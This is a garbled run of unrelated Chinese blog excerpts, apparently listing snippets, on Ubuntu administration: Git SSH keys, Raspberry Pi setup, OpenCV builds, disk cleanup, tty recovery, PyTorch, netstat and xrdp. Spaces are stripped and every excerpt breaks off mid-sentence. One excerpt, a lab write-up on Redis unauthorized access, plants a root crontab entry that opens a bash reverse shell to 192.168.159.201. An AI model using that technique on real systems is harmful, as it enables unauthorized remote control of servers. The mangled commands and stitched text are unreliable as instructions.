先进入已有的Git目录或使用新建的一个Git仓库下。设置Github用户名和邮箱：$gitconfig--globaluser.name[Github用户名]$gitconfig--globaluser.email[Github认证邮箱]生成SSH密钥文件：$ssh-keygen-trsa-C[Github认证邮箱]Generatingpublic/privatersakeypair.Enterfileinwhichtosavethekey(/home/ubuntu/.ssh/id_rsa):[按Enter键接受默认文件位置]Enterpassphrase(emptyfornopassphra
目录标题1、安装ubuntu方式1：树莓派镜像烧录器方式2：win32DiskImager烧录软件2、添加wifi方式一network-config文件方式二50-cloud-init.yaml文件（需有显示屏和键盘）3、登陆树莓派方式一：键盘加显示屏方式二：SSH（无法显示桌面，只有命令行）方式三远程桌面连接（可以显示桌面）4、更换国内源（提高下载速度和成功率）5、安装图形桌面6、安装ROS1、安装ubuntu方式1：树莓派镜像烧录器下载地址：树莓派官网下载根据自己的情况下载，这个是烧录工具，不是镜像。我电脑的系统是windows，所以选windows。下载下来的是一个imager_late
Ubuntu18.04下安装OpenCV4.2.0与Opencv_contrib（图文详细）前期准备—环境依赖Cmake（编译器）依赖环境Python环境streamer环境图像处理依赖安装OpenCV编译OpenCV配置cmake编译参数make编译配置OpenCV动态库验证OpenCV环境#python环境下OpenCV环境验证：安装Opencv_contrib下载opencv_contrib配置编译项出现的问题一、ippicv下载问题下载ippicv_2019_lnx_intel64_general_20180723.tgz修改opencv相关配置文件二、boostdesc和vgg_ge
目录1、基本现象（1）现象1 编辑（2）现象2（3）现象32、解决思路与方法（1）查看文件/目录磁盘使用的空间情况1）du与df命令 2）通过Ubuntu自带的软件进行查看使用情况（2）现象分析与解决方法1）现象1：GParted扩展根目录空间2）现象2：清除缓存或扩展硬盘空间3、VMware虚拟机占用空间过大（1）整理碎片 （2）清理Ubuntu系统内部的内存1）删除Vmwaretools产生的缓冲文件2）清除不使用的磁盘空间 （3）windows下清理（慎用）1、基本现象 当长期在Ubuntu中进行开发，特别是涉及到相关系统内核源码的编译，会出现提示空间不足的情况，大体有
Ubuntu开机没有图形界面进入tty的拯救方法1、从命令行模式登录2、检查是否可以连网3、安装图形界面参考由于卸载软件的过程中误删了系统图形界面相关的文件，导致开机无法进入图形界面，需要通过命令重新安装。1、从命令行模式登录进入tty模式后，输入用户名和密码登录系统2、检查是否可以连网开始直接安装图形界面无法安装，发现是没有连网，所以先检查是否连网pingwww.baidu.com如果不能正常连网，使用命令连接网络sudodhclienteth0如果提示cannotfinddevice“eth0”，执行以下命令查看网卡名称dmesg|grepeth发现eth0被重命名为enp1s0：enp1
第一步：为PyTorch单独创建conda环境需要先创建一个单独的conda环境，用于匹配对应的PyTorch版本。这一步不是必须的，但可以很方便的为PyTorch创建一个干净且独立的Python环境。这里使用比较稳定的3.6版本的Python解释器，创建代码如下：condacreate-npytorchpython=3.6运行结果如下，看到这样的界面表示Pytorch环境创建成功：第二步：进入Pytorch官网，找到linux下的安装代码：Pytorch官网：PyTorch因为我的电脑没有CUDA，这里是只能安装CPU版本的。复制以下命令，以作备用：condainstallpytorchto
事情源于自，我利用redis未授权访问漏洞在向ubuntu的/varspool/cron/crontabs目录下创建的任务计划文件去反弹shell时，发现shell并不能反弹到自己的centos2上（1）在ubuntu中进入/var/spool/cron/crontabs/目录cd/var/spool/cron/crontabs/（2）新建一个名为root的任务计划文件touchroot注：root文件的权限必须是600，否则会出现错误影响后面的实验（3）编辑内容*****'/bin/bash-i>&/dev/tcp/192.168.159.201/1234560>&1' （4）在centos
数据线有问题，一般的数据线，在win下正常，在ubuntu２２下，无法识别显示器，只能自定义分辨率：亲测：root@dev-H81M-D2:/etc/X11/xorg.conf.d#cvt1440900#1440x90059.89Hz(CVT1.30MA)hsync:55.93kHz;pclk:106.50MHzModeline"1440x900_60.00"106.501440152816721904900903909934-hsync+vsyncroot@dev-H81M-D2:/etc/X11/xorg.conf.d#root@dev-H81M-D2:/etc/X11/xorg.conf
要查看Ubuntu系统中已打开的端口及其相关信息，可以使用以下方法：打开终端（Terminal）。运行以下命令以查看当前系统中的端口使用情况：sudonetstat-tuln这将显示所有已打开的端口及其相关信息，包括监听地址、协议（TCP或UDP）、状态和PID（进程标识符）。如果只想查看TCP端口的情况，运行以下命令：sudonetstat-tln这将列出系统中所有已打开的TCP端口的信息。如果只想查看UDP端口的情况，运行以下命令：sudonetstat-ulnwub@wub:/$sudonetstat-tulnActiveInternetconnections(onlyservers)P
一、安装桌面环境Ubuntu服务器通常使用命令行进行管理，并且默认没有安装桌面环境。如果你正在运行Ubuntu桌面版，忽略这一步。在Ubuntu源仓库有很多桌面环境供你选择。一个选择是安装Gnome，它是Ubuntu20.04的默认桌面环境。另外一个选项就是安装xfce。它是快速，稳定，并且轻量的桌面环境，使得它成为远程服务器的理想桌面。运行下面任何一个命令去安装你选择的桌面环境：安装Gnomesudo aptupdatesudoapt-getupgradesudo apt install ubuntu-desktop安装ubuntu-desktop时，选择第一个选项二、安装XrdpXrdp被
